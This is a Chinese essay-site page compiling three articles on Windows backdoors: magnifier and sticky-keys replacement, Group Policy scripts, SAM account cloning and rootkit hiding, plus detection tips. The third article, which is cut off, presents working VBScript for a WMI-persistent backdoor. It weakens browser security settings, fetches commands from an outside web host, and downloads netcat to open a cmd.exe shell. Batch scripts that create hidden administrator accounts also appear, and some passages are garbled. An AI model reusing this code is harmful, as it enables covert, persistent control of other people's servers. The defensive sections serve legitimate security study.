免费论文网 首页

电脑系统后门

时间:2017-06-03 05:38 来源:免费论文网

篇一:Windows后门技术解析和防范

Windows后门技术解析和防范 从某种意义上说,服务器被攻击是不可避免的,甚至被控制也情有可原。但绝对不能容忍的是,服务器被植入后门,攻击者如入无人之境,而管理者去浑然不觉。本文将对当前比较流行的后门技术进行解析,知己知彼方能杜绝后门。 1 放大镜后门

放大镜(magnify.exe)是Windows2000/XP/2003系统集成的一个小工具,它是为方便视力障碍用户而设计的。在用户登录系统前可以通过“Win+U”组合键调用该工具,因此攻击者就用精心构造的magnify.exe同名文件替换放大镜程序,从而达到控制服务器的目的。

通常情况下,攻击者通过构造的magnify.exe程序创建一个管理员用户,然后登录系统。当然有的时候他们也会通过其直接调用命令提示符(cmd.exe)或者系统shell(explorer.exe)。需要说明的是,这样调用的程序都是system权限,即系统最高权限。不过,以防万一当管理员在运行放大镜程序时发现破绽,攻击者一般通过该构造程序完成所需的操作后,最后会运行真正的放大镜程序,以蒙骗管理员。其利用的方法是:

(1) 构造批处理脚本

@echooff

netusergslw$test168/add

netlocalgroupadministratorsgslw$/add

%Windir%\system32\nagnify.exe

exit

将上面的脚本保存为magnify.bat,其作用是创建一个密码为test168的管理员用户gslw$,最后运行改名后的放大镜程序nagnify.exe。

(2) 文件格式转换

因为批处理文件magnify.bat的后缀是bat,必须要将其转换为同名的exe文件才可以通过组合键Win+U调用。攻击者一般可以利用WinRar构造一个自动解压的exe压缩文件,当然也可以利用bat2com、com2exe进行文件格式的转换。我们就以后面的方法为例进行演示。

打开命令行,进入bat2com、com2exe工具所在的目录,然后运行命令“bat2commagnify.bat”将magnify.bat转换成magnify.com,继续运行命令“com2exemagnify.com”将magnify.com转换成magnify.exe,这样就把批处理文件转换成和放大镜程序同名的程序文件。

(3) 放大镜文件替换

下面就需要用构造的magnify.exe替换同名的放大镜程序文件,由于Windows对系统文件的自我保护,因此不能直接替换,不过Windows提供了一个命令replace.exe,通过它我们可以替换系统文件。另外,由于系统文件在%Windir%\system32\dllcache中有备份,为了防止文件替换后又重新还原,所有我们首先要替换该目录下的magnify.exe文件。假设构造的magnify.exe文件在%Windir%目录下,我们可以通过一个批处理即可实现文件的替换。

@echooff

copy%Windir%\system32\dllcache\magnify.exenagnify.exe

copy%Windir%\system32\magnify.exenagnify.exe

replace.exe%Windir%\magnify.exe%Windir%\system32\dllcache

replace.exe%Windir%\magnify.exe%Windir%\system32

exit

上面批处理的功能是,首先将放大镜程序备份为nagnify.exe,然后用同名的构造程序将其替换。

(4) 攻击利用

当完成上述操作后,一个放大镜后门就做成了。然后攻击者通过远程桌面连接服务器,在登录界面窗口摁下本地键盘的“Win+U”组合键,选择运行其中的“放大镜”,此刻就在服务器上创建了一个管理员用户gslw$并打开了放大镜工具,然后攻击者就开业通过该帐户登录服务器。当然,攻击者在断开登录前会删除所有与该帐户相关的信息,以防被管理员发现。

(5) 防范措施

进入%Windir%\system32\查看magnify.exe的文件图标是否是原来的放大镜的图标,如果不是的话极有可能被植入了放大镜后门。当然,有的时候攻击者也会将其文件图标更改为和原放大镜程序的图标一样。此时我们可以查看magnify.exe文件的大小和修改时间,如果这两样有一项不符就比较怀疑了。我

们也可以先运行magnify.exe,然后运行lusrmgr.msc查看是否有可疑的用户。如果确定服务器被放置了放大镜后门,首先要删除该文件,然后恢复正常的放大镜程序。当然,我们也可以做得更彻底一些,用一个无关紧要的程序替换放大镜程序。

补充:与放大镜后门类似的还有“粘滞键”后门,即按下SHIEF键五次可以启动粘滞键功能,其利用和防范措施与放大镜后门类似,只是将magnify.exe换成了sethc.exe。

2 组策略后门

相对来说,组策略后门更加隐蔽。往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。其实,在最策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。这就是通过最策略的“脚本(启动/关机)”项来说实现。具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

攻击者获得了服务器的控制权就可以通过这个后门实施对对主机的长期控制。它可以通过这个后门运行某些程序或者脚本,最简单的比如创建一个管理员用户,他可以这样做:

(1) 创建脚本

创建一个批处理文件add.bat,add.bat的内容是:@echooff&netusergslw$test168/add&&netlocalgroupadministratorsgslw$/add&exit(创建一个用户名为gslw$密码为test168的管理员用户)。

(2) 后门利用

在“运行”对话框中输入gpedit.msc,定位到“计算机配置一>Windows设置一>脚本(启动/关机)”,双击右边窗口的“关机”,在其中添加add.bat。就是说当系统关机时创建gslw$用户。对于一般的用户是根本不知道在系统中有一个隐藏用户,就是他看见并且删除了该帐户,当系统关机时又会创建该帐户。所以说,如果用户不知道组策略中的这个地方那他一定会感到莫名其妙。

其实,对于组策略中的这个“后门”还有很多利用法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就不用在系统中创建帐户了,直接利用管理员帐户远程登录系统。因此它也是“双刃剑”,希望大家重视这个地方。当你为服务器被攻击而莫名其妙时,说不定攻击者就是通过它实现的。

(3) 后门防范

组策略后门是攻击者利用了管理员的疏忽心理,因为对于组策略中的“(启

动/关机)脚本”项往往被大家忽略,有些管理员甚至不知道组策略中的这个选项。防范这类服务器后门,也非常简单,只需打开组策略工具,定位到“脚本(启动/关机)”项下进行查看。当然也可以进入

system32\GroupPolicy\Machine\Scripts\Startup

和system32\GroupPolicy\Machine\Scripts\Shutdown目录检查是否有可疑的脚本。

3 Rookit后门

Rootkit是一个或者多个用于隐藏、控制系统的工具包,该技术被越来越多地应用于一些恶意软件中,当然攻击者也往往通过它来制作服务器后门。下面结合实例解析其利用方法。

(1) 创建一般帐户

在命令提示符(cmd.exe)下输入如下命令:netusergslw$test168/add。

通过上面的命令建立了一个用户名为gslw$,密码为test168的普通用户。为了达到初步的隐藏我们在用户名的后面加了“$”号,这样在命令提示符下通过netuser是看不到该用户的,当然在“本地用户和组”及其注册表的“SAM”项下还可以看到。

(2) 账户非常规提权

下面我们通过注册表对gslw$帐户进行提权,使其成为一个比较隐蔽(在命令行和“本地用户和组”中看不到)的管理员用户。

第一步:打开注册表编辑器,定位到HKEY_LOCAL_MACHINE\SAM\SAM项。由于默认情况下管理员组对SAM项是没有操作权限的,因此我们要赋权。右键点击该键值选择“权限”,然后添加“administrators”组,赋予其“完全控制”权限,最后刷新注册表,就能够进入SAM项下的相关键值了。

第二步:定位到注册表

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users项,点击“000001F4注册表项,双击其右侧的“F”键值,复制其值,然后点击“00000404”注册表项(该项不一定相同),双击其右侧的“F”键值,用刚才复制键值进行替换其值。

第三步:分别导出gslw$、00000404注册表项为1.reg和2.reg。在命令行下输入命令"netusergslw$/del"删除gslw$用户,然后分别双击1.reg和2.reg导入注册表,最后取消administrators对SAM注册表项的访问权限。这样就把gslw$用户提升为管理员,并且该用户非常隐蔽,除了注册表在命令下及“本地用户和组”是看不到的。这样的隐藏的超级管理员用户是入侵者经常使用的,对于一个水平

不是很高的管理员这样的用户他是很难发现的。这样的用户他不属于任何组,但却有管理员权限,是可以进行登录的。

(3) 高级隐藏账户

综上所述,我们创建的gslw$用户虽然比较隐蔽,但是通过注册表可以看见。下面我们利用RootKit工具进行高级隐藏,即在注册表中隐藏该用户。

可被利用的RootKit工具是非常多的,我们就以Hackerdefende危机进行演示,它是个工具包,其中包含了很多工具,我们隐藏注册表键值只需其中的两个文件,hxdef100.exe和hxdef100.ini。其中hxdef100.ini是配置文件,hxdef100.exe是程序文件。打开hxdef100.ini文件定位到[HiddenRegKeys]项下,添加我们要隐藏的注册表键值gslw$和00000404即用户在注册表的项然后保存退出。

然后双击运行hxdef100.exe,可以看到gslw$用户在注册表中的键值“消失”了,同时这两个文件也“不见”了。这样我们就利用RootKit实现了高级管理员用户的彻底隐藏,管理员是无从知晓在系统中存在一个管理员用户的。

(4) 防范措施

通过RootKit创建的后门是及其隐蔽的,除非清除RootKit,不然用其创建的管理员用户永远不可能被管理员发现。我们就以清除上面的Hackerdefende为例让后门现行。

驱动级的扫描:RootKit往往是驱动级别的,因此它比一般的应用程序更加靠近底层,清除起来更加的棘手。清除请进程扫描是必要的,RootKitHookAnalyzer是一款Rookit分析查询工具,利用它可以扫描分析出系统中存在的RooKit程序。该工具是英文程序,安装并运行点击其界面中下方的“Analyze”按钮就可以进行扫描分析,列出系统中的RooKit程序,勾选“Showhookedservicesonly”就可以进行筛选值列出RooKitervices。当然,类似这样的工具还有很多,我们可以根据自己的需要进行选择。

查看隐藏进程:RootKit的程序进程往往是隐藏性或者嵌入型的,通过Windows的“任务管理器”是无法看到的。我们可以利用一款强大的进程工具IceSword(冰刃)来查看。运行IceSword点击“进程”按钮,就可以列出当前系统中的进程,其中红色显示的是可疑进程。我们可以看到hxdef100.exe进程赫然其中,这真是我们刚才运行的RootKit。在该进程上点击右键选择“结束”进程。这时hxdef100.exe和hxdef100.ini文件显身了,再刷新并查看注册表,刚才消失的两个键值有重现了。

专业工具查杀:利用IceSword进行RooKit的分析和并结束其进程不失为反RooKit的一种方法,但有的时候冰刃并不能分析出RootKit,因此我们就要比较专业的工具。比如卡巴斯基、超级巡警等都是不错的选择。下图就是通过超级巡警检测到的RootKit病毒。

篇二:后门的分类

后门的分类

后门可以按照很多方式来分类,标准不同自然分类就不同,为了便于大家理解,我们从技术方面来考虑后门程序的分类方法:

前面讲了这么多理论知识是不是觉得有点头大了呢?下面我们来讲讲一些常见的后门工具吧

1.网页后门

此类后门程序一般都是服务器上正常 的web服务来构造自己的连接方式,热缦衷诜浅A餍械腁SP、cgi脚本后门等。 典型后门程序:海洋顶端,红粉佳人个人版,后来衍生出来很多版本的这类网页后门,编写语言asp,aspx,jsp,php的都有种类比较繁多。

2.线程插入后门

利用系统自身的某个服务或者线程,将后门程序插入到其中,这种后门在运行时没有进程,所有网络操作均播入到其他应用程序的进程中完成。

典型后门程序:代表BITS,还有我在安全焦点上看到的xdoor(首款进程插入后门)也属于进程插入类后门。

3.扩展后门

所谓的扩展后门,在普通意义上理解,可以看成是将非常多的功能集成到了后门里,让后门本身就可以实现很多功能,方便直接控制肉鸡或者服务器,这类的后门非常受初学

者的喜爱,通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能,本身就是个小的工具包,功能强大。

典型后门程序:Wineggdroup shell

4.C/S后门

这个后门利用ICMP通道进行通信,所以不开任何端口,只是利用系统本身的ICMP包进行控制安装成系统服务后,开机自动运行,可以穿透很多防火墙——很明显可以看出它的最大特点:不开任何端口~只通过ICMP控制!和上面任何一款后门程序相比,它的控制方式是很特殊的,连80端口都不用开放,不得不佩服务程序编制都在这方面独特的思维角度和眼光.

典型后门程序:ICMP Door

5.root kit

好多人有一个误解,他们认为rootkit是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用

户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。 典型后门程序:hacker defender

以上是我在网上搜集的前人总结,值得指出的是这些分类还不够完善,还没有真正指出后门的强大。

下面我继续补充点我更新黑基技术文章时看到的一些比较少见的后门技术。

6 BootRoot

通过在Windows内核启动过程中额外插入第三方代码的技术项目,即为“BootRoot”。国外组织eBye在通过这种新的Rootkit启动技术,并赋予这种无需依赖Windows内核启动过称去加载自身代码的技术及其衍生品——“BootKit”,即“Boot Rootkit”。

Mebroot是如何实现MBR感染与运作的

Mebroot比Windows还要早一步启动,然后将自身驱动代码插入内核执行,从而绕过了注册表HIVE检测的缺陷。同时采用的底层技术让大部分Anti-Rootkit工具失明——因为它根本没有在系统内留下任何启动项目。检测工具自然会检测失效。然后通过DLL远程注入用户进程,为系统打开后门并下载木马运行。在这非传统的渗透思路下,反Rootkit工具是无法根除它的。

看到以上这么多可怕的后门知识是不是对这些有所了解了呢?

下面我们来谈谈如何检测后门

1.简单手工检测法

凡是后门必然需要隐蔽的藏身之所,要找到这些程序那就需要仔细查找系统中每个可能存在的可疑之处,如自启动项,据不完全统计,自启动项目有近80多种。

用AutoRuns检查系统启动项。观察可疑启动服务,可疑启动程序路径,如一些常见系统路径一般在system32下,如果执行路径种在非系统的system32目录下发现 notepad

System

smss.exe

csrss.exe

winlogon.exe

services.exe

lsass.exe

spoolsv.exe

这类进程出现2个那你的电脑很可能已经中毒了。

如果是网页后门程序一般是检查最近被修改过的文件,当然目前一些高级webshell后门已经支持更改自身创建修改时间来迷惑管理员了。

2.拥有反向连接的后门检测

这类后门一般会监听某个指定断口,要检查这类后门需要用到dos命令在没有打开任何网络连接页面和防火墙的情况下输入netstat -an 监听本地开放端口,看是否有本地ip连接外网ip。

3.无连接的系统后门

如shift,放大镜,屏保后门,这类后门一般都是修改了系统文件,所以检测这类后门的方法就是对照他们的MD5值 如sethc.exe(shift后门)正常用加密工具检测的数值是 MD5 : f09365c4d87098a209bd10d92e7a2bed

如果数值不等于这个就说明被篡改过了。

4.CA后门

CA克隆帐号这样的后门建立以$为后缀的超级管理员在dos下无法查看该用户,用户组管理也不显示该用户,手工检查一般是在sam里删除该帐号键值。当然要小心,没有经验的建议还是用工具。当然CA有可能克隆的的是guest用户,所以建议服务器最好把guest设置一个复杂密码。

5.对于ICMP这种后门

这种后门比较罕见,如果真要预防只有在默认windows防火墙中设置只 允许ICMP传入的回显请求了。

6.对于rootkit

篇三:彻底了解windows脚本后门

WMI是事件驱动的。整个事件处理机制分为四个部分:

1,事件生产者(provider):负责产生事件。WMI包含大量的事件生产者。有性能计数器之类的具体的事件生产者,也有类、实例的创建、修改、删除等通用的事件生产者。 2,事件过滤器(filter):系统每时每刻都在产生大量的事件,通过自定义过滤器,脚本可以捕获感兴趣的事件进行处理。 3,事件消费者(consumer):负责处理事件。它可以是可执行程序、动态链接库(dll,由WMI服务加载)或者脚本。 4,事件绑定(binding):通过将过滤器和消费者绑定,明确什么事件由什么消费者负责处理。 事件消费者可以分为临时的和永久的两类。临时的事件消费者只在其运行期间关心特定事件并处理。永久消费者作为类的实例注册在WMI名字空间中,一直有效直到它被注销。显然,永久事件消费者更具实用性。还是来看个例子: nslink=\"winmgmts:\\\\.\\root\\cimv2:\" \'只需要本地连接,所以用这种语法,不用swbemlocator对象\' set asec=getobject(nslink&\"ActiveScriptEventConsumer\").spawninstance_ \'创建“活动脚本事件消费者”\'

asec.name=\"stopped_spooler_restart_consumer\" \'定义消费者的名字\'

asec.scriptingengine=\"vbscript\" \'定义脚本语言(只能是vbscript)\'

asec.scripttext=\"getobject(\"\"winmgmts:win32_service=\'spooler\'\"\").startservice\" \'脚本代码\'

set asecpath=asec.put_ \'注册消费者,返回其链接\' set evtflt=getobject(nslink&\"__EventFilter\").spawninstance_ \'创建事件过滤器\'

evtflt.name=\"stopped_spooler_filter\" \'定义过滤器的名字\'

qstr=\"select * from __instancemodificationevent within 5 \" \'每5秒查询一次“实例修改事件”\'

qstr=qstr&\"where targetinstance isa \"\"win32_service\"\" and \" \'目标实例的类是win32_service\'

qstr=qstr&\"targetinstance.name=\"\"spooler\"\" \" \'实例名是spooler\'

qstr=qstr&\"and targetinstance.state=\"\"stopped\"\"\" \'实例的state属性是stopped\' evtflt.query=qstr \'定义查询语句\'

evtflt.querylanguage=\"wql\" \'定义查询语言(只能是wql)\'

set fltpath=evtflt.put_ \'注册过滤器,返回其链接\' set fcbnd=getobject(nslink&\"__FilterToConsumerBinding\").spawninstance_ \'创建过滤器和消费者的绑定\'

fcbnd.consumer=asecpath.path \'指定消费者\'

fcbnd.filter=fltpath.path \'指定过滤器\'

fcbnd.put_ \'执行绑定\' wscript.echo \"安装完成\" 这个脚本的效果是:当“后台打印”服务(spooler)状态改变为停止时,消费者将进行处理——重启spooler。

先net start spooler,然后net stop spooler。最多5秒钟,spooler又会启动。 直接运行上面的脚本会出错,因为“活动脚本事件消费者”(ActiveScriptEventConsumer ASEC)默认没有被安装到root\\cimv2名字空间。 用记事本打开%windir%\\system32\\wbem\\scrcons.mof,将第一行“#pragma namespace (\"\\\\\\\\.\\\\Root\\\\Default\")”删除,或者修改为“#pragma namespace (\"\\\\\\\\.\\\\Root\\\\cimv2\")”。XP/2003没有这一行,不用修改。

然后执行下面这个命令: C:\\WINNT\\system32\\wbem>mofcomp.exe -N:root\\cimv2 scrcons.mof

Microsoft (R) 32-bit MOF 汇编器版本 1.50.1085.0007

版权所有 (c) Microsoft Corp. 1997-1999。保留所有权利。 正在分析 MOF 文件:

scrcons.mof

MOF 文件分析成功

将数据储存到储备库中...

已完成! 这样就把ASEC安装到root\\cimv2了。mofcomp.exe和scrcons.mof都是系统自带的。 2000默认将ASEC安装到root\\default名字空间,而XP/2003默认已经安装到root\\subscription名字空间,但由于事件过滤器不能跨名字空间捕捉事件(XP/2003可以),事件绑定也不能跨名字空间,而大部分事件都在root\\cimv2产生,所以需要重新安装ASEC到事件源所在的名字空间。下面这个脚本自动完成ASEC重安装任务。 set shl=createobject(\"WScript.Shell\")

set fso=createobject(\"Scripting.FileSystemObject\")

path=shl.expandenvironmentstrings(\"%windir%\\system32\\wbem\\\")

set mof=fso.opentextfile(path&\"scrcons.mof\",1,false,-1) \'mof都是Unicode格式的\' mofs=mof.readall

mof.close

mofs=replace(mofs,\"\\\\Default\",\"\\\\cimv2\",1,1) \'替换默认的名字空间\'

mofp=path&\"asecimv2.mof\"

set mof=fso.createtextfile(mofp,false,true) \'创建临时mof文件\'

mof.write mofs

mof.close

shl.run path&\"mofcomp.exe -N:root\\cimv2 \"&mofp,0,true \'安装到root\\cimv2\'

fso.deletefile(mofp)

wscript.echo \"安装完成\" 注销永久事件: nslink=\"winmgmts:\\\\.\\root\\cimv2:\" myconsumer=\"stopped_spooler_restart_consumer\" \'指定消费者的名字\'

myfilter=\"stopped_spooler_filter\" \'指定过滤器的名字\'

set binds=getobject(nslink&\"__FilterToConsumerBinding\").instances_

for each bind in binds

if strcomp(right(bind.consumer,len(myconsumer)+1),myconsumer&chr(34),1)=0 _

and strcomp(right(bind.filter,len(myfilter)+1),myfilter&chr(34),1)=0 then

getobject(\"winmgmts:\"&bind.consumer).delete_ \'删除消费者\'

getobject(\"winmgmts:\"&bind.filter).delete_ \'删除过滤器\'

bind.delete_ \'删除绑定\'

exit for

end if

next

wscript.echo \"卸载完成\" 除了ASEC,WMI还提供其他永久事件消费者,比如SMTPEventConsumer。当系统出现异常时,可以通过它自动给管理员的信箱发信。WMITools里的WMI Event Registration用于创建、修改、删除指定名字空间里的永久事件消费者、事件过滤器和计时器事件源的实例,以及绑定或解除绑定它们。

关于事件处理机制的各个部分,在《WMI技术指南》里有详细的讲述,MSDN里当然更全面。我就点到为止了。 (看累了吧,喝口水,休息一下 ^_^) 下面开始讨论脚本后门。 WMI提供了两个计时器:__AbsoluteTimerInstruction和__IntervalTimerInstruction,分别在指定的时刻和时间间隔触发事件,注册一个过滤器来捕获计时器事件,再和ASEC绑定,我们就获得了一种少见的程序自启动的方法。而且,脚本代码完全隐藏在CIM存储库中,不以独立的文件存在,查杀比较困难。这是脚本后门的优势,但困难也不少: 1,

脚本运行时,由系统自带的scrcons.exe作为脚本宿主(Windows的设计者还没有笨到用WMI服务作为脚本宿主)。这就会增加一个进程,虽然是系统正常的进程,杀毒软件拿它没辙,但还是太显眼了。所以,不能让脚本一直在后台运行,而是应该每隔一段时间启动一次,然后尽快结束。脚本结束后,scrcons.exe进程不会自动结束,必须让脚本借助WMI提供的Win32_Process对象主动终止宿主进程(煮豆燃豆萁?!)。 2,脚本的网络功能很差,基本上只能依靠Microsoft.XMLHTTP之类的对象。因此,脚本后门不能监听端口并提供cmd shell,只能反向连接到web服务器,获取控制命令。一个可行的办法是,在web服务器上放一个命令文件,脚本后门根据域名找到服务器并下载命令文件,再根据文件内容作出响应。所以,你需要一台web服务器,或者用netbox等工具建个临时服务器。当然,你不需要让服务器总是在线,需要控制脚本后门时再运行就可以了。 3,由于脚本后门间歇式运行,需要防止重复运行同一个命令。解决方法是在注册表里记录命令的长度,每次获取命令后将长度和记录做比较,如果相同则跳过,不同则覆盖并执行命令。 4,为了借助ie对象穿透防火墙,XMLHTTP对象必须在ie中被创建,这会受到Internet域安全级别的限制。即使将代码保存在html文件中再用ie打开,也不过是“我的电脑”域,创建不安全的ActiveX对象还是会弹出警告对话框。解决办法是修改注册表,临时更改安全设置。 5,WScript对象由wscript.exe或cscript.exe提供,而scrcons.exe没有提供,所以很多常用的功能,比如WScript.Sleep都不能用了。不能Sleep就无法异步使用XMLHTTP,而同步XMLHTTP可能被长时间阻塞,大大不利于后门的隐蔽。调用ping命令来延时会创建新进程,用WScript.Shell的Popup方法延时则有“咚”一声提示音。好在Microsoft.XMLHTTP的“亲戚”不少,比如Msxml2.XMLHTTP、Msxml2.ServerXMLHTTP、Msxml2.DOMDocument、WinHttp.WinHttpRequest等。最后那个可以设置超时时间,刚好满足需要。 即使有重重困难,脚本后门仍然值得挑战一下。当肉鸡上的各类木马纷纷被杀毒软件肃清后,一个24小时才运行一次的脚本后门可能是你最后的希望。 下面是一个简单的脚本后门的核心代码(没有安装功能): cmdu=\"http://myweb.8866.org/cmd.txt\" \'从web服务器获取命令的url\' cmdw=4000 \'下载超时时间4秒\'

cmdl=\"HKLM\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\CmdLength\" \'记录命令长度的键值名\'

on error resume next \'忽略非致命错误 \'(调试时注释掉本行)

set shl=createobject(\"WScript.Shell\") \'虽然不能使用WScript根对象,其子对象还是可以用的\'

set aso=createobject(\"ADODB.Stream\")

set ie=createobject(\"InternetExplorer.Application\") \'使用ie绕过防火墙\' zone=\"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\3\" set1=zone&\"\\1201\"

set2=zone&\"\\1400\"

set3=zone&\"\\CurrentLevel\"

val1=shl.regread(set1) \'保存原来的安全设置\'

val2=shl.regread(set2)

val3=shl.regread(set3)

regd=\"REG_DWORD\"

shl.regwrite set1,0,regd \'允许在Internet域运行不安全的ActiveX\'

shl.regwrite set2,0,regd \'允许活动脚本\'

shl.regwrite set3,0,regd \'设置当前Internet域安全级别为“自定义”\' ie.visible=0 \':ie.visible=1 \'(调试用)

ie.navigate \"about\"&\":blank\" \'这里使用字符串连接纯属反论坛过滤\'

ie.document.write _

\"<script>function whr(){return new ActiveXObject(\'WinHttp.WinHttpRequest.5.1\')}</script>\"

set whr=ie.document.script.whr() \'在ie内创建WinHttpRequest对象\' whr.settimeouts cmdw,cmdw,cmdw,cmdw \'设置域名解析、连接、发送和接收超时时间\'

whr.open \"GET\",cmdu,true \'获取命令文件\'

whr.send

if not whr.waitforresponse(cmdw) then die

if whr.status>299 then die

rt=whr.responsetext \':wscript.echo rt \'(调试用)

\':shl.regwrite cmdl,0,regd \'(调试用)

if len(rt)=shl.regread(cmdl) then die \'与前一个命令的长度比较\'

shl.regwrite cmdl,len(rt),regd \'更新命令长度\'

cmds=split(rt,vbcrlf,-1)

if ubound(cmds)<1 then die

cmdt=lcase(trim(cmds(0))) \':wscript.echo cmdt \'(调试用) aso.type=1

aso.open

cd=shl.currentdirectory&chr(92)

select case cmdt \'分析命令文件类型\'

case \"\'vbs\" \'是vbs\'

execute(rt) \'直接在当前脚本上下文中执行\'

die

case \":bat\" \'是批处理\'

aso.write whr.responsebody

aso.savetofile cd&\"_.bat\",2 \'保存在当前目录\'

aso.close

shl.run chr(34)&cd&\"_.bat\"\"\",0 \'运行批处理\'

die

case \"\'wsh\" \'是Windows脚本\'

aso.write whr.responsebody

aso.savetofile cd&\"_.vbs\",2 \'保存在当前目录\'.

aso.close

shl.run \"cscript.exe \"\"\"&cd&\"_.vbs\"\"\",0 \'使用cscript作为脚本宿主\'

die

case \"exe\" \'exe需进一步分析\'

case else die

end select if ubound(cmds)<4 then die \':wscript.echo cmds(1) \'(调试用)

whr.open \"GET\",cmds(1),true \'从指定位置下载exe文件\'

whr.send

if not whr.waitforresponse(cmds(2)) then die

if whr.status>299 then die

path=shl.expandenvironmentstrings(cmds(3))\'展开保存路径中的环境变量\'

aso.write whr.responsebody \':wscript.echo path \'(调试用)

aso.savetofile path,2 \'保存exe文件\'

aso.close

shl.run chr(34)&path&\"\"\" \"&cmds(4),0 \'执行exe\' die sub die

ie.quit

shl.regwrite set1,val1,regd \'还原Internet域安全设置\'

shl.regwrite set2,val2,regd

shl.regwrite set3,val3,regd

for each ps in getobject(\"winmgmts:\\\\.\\root\\cimv2:win32_process\").instances_

if lcase(ps.name)=\"scrcons.exe\" then ps.terminate \'自杀\'

next

\'wscript.echo \"die\": wscript.quit \'(调试用)

end sub 取消调试语句的注释,上面这段核心代码就可以直接运行。

它将试图从myweb.8866.org上获取cmd.txt,根据里面的内容进一步行动。

cmd.txt看起来像这样: exe //被执行的文件类型,可以是\'vbs、:bat、exe或\'wsh http://myweb.8866.org/nc.exe //被执行的文件的下载url

4000 //下载超时时间,单位毫秒

%windir%\\system32\\nc.exe //文件的保存位置,支持环境变量

-L -p 1234 -e cmd.exe //命令行参数 收到上面这个命令后,脚本将从指定url下载nc.exe,保存到系统目录并运行。 如果第一行的文件类型为\'vbs、\'wsh或:bat,则把命令文件本身当作脚本或批处理来执行。比如: :bat

net start telnet:启动telnet服务

del %0 :自删除 如果只是想让某台主机执行命令,可以这样: :bat

ipconfig | find \"123.45.67.89\" && net start telnet

del %0 这样就只有ip地址为123.45.67.89的主机才会启动telnet。 \'wsh和\'vbs的区别是,前者保存为文件由cscript.exe调用,后者直接在脚本后门“内部”执行。

使用\'vbs的好处是不用生成文件,而且可以直接利用后门中已经创建的对象,比如shl,但也因此不能用WScript根对象。 下面的\'vbs命令文件把\"本地帐户的共享和安全模式\"由\"仅来宾\"改为\"经典\"(对XP和2003有效): \'vbs

shl.regwrite \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\forceguest\",0,\"REG_DWORD\" 注意,vbs和wsh前面都有一个单引号,因为整个命令文件都作为脚本执行,所以必须注释掉第一行,:bat也是一样。

使用\'vbs时千万注意不要有语法错误,否则会使后门出错并停止。如果是复杂的脚本,建议使用\'wsh。 将核心代码改写为单行字符串格式,就可以作为ASEC的实例安装了。改写时要注意\"if\"和\"end if\"配对以及去掉续行符。

完整的安装脚本代码如下: \'***以下为参数配置,请根据情况自行修改***\' nslink=\"winmgmts:\\\\.\\root\\cimv2:\" \'ASEC所在的名字空间\'

doorname=\"vbscript_backdoor\" \'记住后门的名字,卸载时需要\'

runinterval=86400000 \'每天运行一次\'

cmdu=\"http://myweb.8866.org/cmd.txt\" \'命令文件的位置\'

cmdw=4000 \'文件下载超时时间\'

cmdl=\"HKLM\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\CmdLength\" \'保存命令长度的键值名\'


电脑系统后门
由:免费论文网互联网用户整理提供,链接地址:
http://m.csmayi.cn/meiwen/43597.html
转载请保留,谢谢!
相关阅读
最近更新
推荐专题